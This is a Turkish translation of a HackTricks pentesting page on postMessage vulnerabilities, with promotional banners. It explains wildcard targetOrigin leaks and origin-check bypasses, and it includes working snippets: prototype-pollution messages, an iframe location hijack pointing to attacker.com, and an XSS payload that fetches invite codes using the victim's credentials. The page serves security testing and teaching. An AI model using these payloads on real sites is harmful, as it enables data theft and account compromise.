hacktricks/pentesting-web/postmessage-vulnerabilities
2024-07-19 16:17:42 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00
bypassing-sop-with-iframes-1.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00
bypassing-sop-with-iframes-2.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:17:42 +00:00
steal-postmessage-modifying-iframe-location.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00

PostMessage Güvenlik Açıkları

PostMessage Güvenlik Açıkları

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

WhiteIntel

WhiteIntel, bir şirketin veya müşterilerinin stealer malwares tarafından tehdit altına alınıp alınmadığını kontrol etmek için ücretsiz işlevsellikler sunan karanlık ağ destekli bir arama motorudur.

WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Web sitelerini kontrol edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


PostMessage Gönder

PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Not edin ki targetOrigin bir '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o domaine gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılıyorsa, mesajlar herhangi bir domaine gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.

iframe'ı hedef alma & targetOrigin'de joker karakter

bu rapordaıklandığı gibi, iframelenebilen (hiçbir X-Frame-Header koruması olmayan) ve duyarlı mesajı postMessage aracılığıyla joker karakter (*) kullanarak gönderen bir sayfa bulursanız, iframe'in kökenini değiştirebilir ve duyarlı mesajı sizin kontrolünüzdeki bir domaine sızdırabilirsiniz.
Eğer sayfa iframelenebiliyorsa ancak targetOrigin bir URL'ye ayarlandıysa ve joker karaktere değilse, bu numara çalışmayacaktır.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener istismarı

addEventListener JS tarafından postMessages bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Not edin ki bu durumda kodun yaptığı ilk şey origin'i kontrol etmek. Bu, alınan bilgilerle herhangi bir hassas şey yapılacaksa son derece önemlidir (örneğin bir şifre değiştirmek gibi). Eğer origin'i kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).

Sayım

Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery versiyonu) için arama yapın
  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Elements --> Event Listeners kısmına gidin

Origin kontrolü atlamaları

  • event.isTrusted niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için True döner. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
  • PostMessage olaylarında origin doğrulaması için indexOf() kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()'ten gelen search() metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, yöntemi potansiyel olarak güvensiz hale getiren regex'e örtük dönüşüme yol açar. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() fonksiyonu, search() ile benzer şekilde regex'i işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.

  • escapeHtml fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği hasOwnProperty'yi tanımayacak şekilde manipüle edilebiliyorsa, escapeHtml beklenildiği gibi çalışmayacaktır. Bu, aşağıdaki örneklerde gösterilmektedir:

  • Beklenen Hata:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Bu zayıflık bağlamında, File nesnesi, salt okunur name özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml fonksiyonu tarafından temizlenmez, bu da potansiyel güvenlik risklerine yol açar.

  • JavaScript'teki document.domain özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir, bu da aynı üst alan adı içinde daha gevşek bir aynı-origin politikası uygulanmasına olanak tanır.

e.origin == window.origin atlaması

Bir sandboxed iframe içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in origin'inin null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox özellikleri ile ilgili güvenlik ve işlevsellik üzerindeki etkileriyle özellikle önemlidir.

allow-popups özelliğini sandbox niteliğinde belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox niteliği de dahil edilmediği sürece, açılır pencerenin origin'inin de null olarak ayarlandığı anlamına gelir, bu da iframe'in origin'i ile uyumlu hale gelir.

Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının origin'leri null olarak ayarlanır. Bu durum, e.origin == window.origin ifadesinin doğru değerlendirilmesine yol açar (null == null), çünkü hem iframe hem de açılır pencere aynı null origin değerini paylaşır.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source atlaması

Mesajın, script'in dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle tarayıcı uzantılarından gelen İçerik Scriptleri için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

e.source'u null yapmak için, postMessage gönderen ve hemen silinen bir iframe oluşturabilirsiniz.

Daha fazla bilgi için şunu okuyun:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine alabilmeniz gerekir. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda, daha az gizli bir saldırı kullanabilirsiniz. Zayıf web uygulamasına yeni bir sekme açarak onunla iletişim kurabilirsiniz:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak

Aşağıdaki sayfada, veriyi göndermeden önce ana sayfayı engelleyerek bir çocuk iframe'ine gönderilen hassas postmessage verisini nasıl çalabileceğinizi görebilirsiniz ve verinin alınmadan önce çocukta bir XSS kullanarak sızdırılmasını istismar edebilirsiniz:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

iframe konumunu değiştirerek mesaj çalmak

X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o çocuk iframe'in konumunu değiştirebilirsiniz, böylece bir wildcard kullanarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'in kaynağını kendi kontrolündeki bir sayfaya değiştirebilir ve mesajı çalabilir:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage ile Prototip Kirlenmesi ve/veya XSS

postMessage ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe'leyebilir ve prototip kirlenmesi/XSS istismarını postMessage aracılığıyla gönderebilirsiniz.

postMessage ile çok iyi açıklanmış XSS örnekleri https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.

Bir iframe'e postMessage aracılığıyla Prototip Kirlenmesi ve ardından XSS istismar etmek için bir örnek:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

For daha fazla bilgi:

Referanslar

WhiteIntel

WhiteIntel, bir şirketin veya müşterilerinin çözümlenmiş olup olmadığını kontrol etmek için ücretsiz işlevler sunan karanlık ağ destekli bir arama motorudur.

WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Web sitelerini kontrol edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}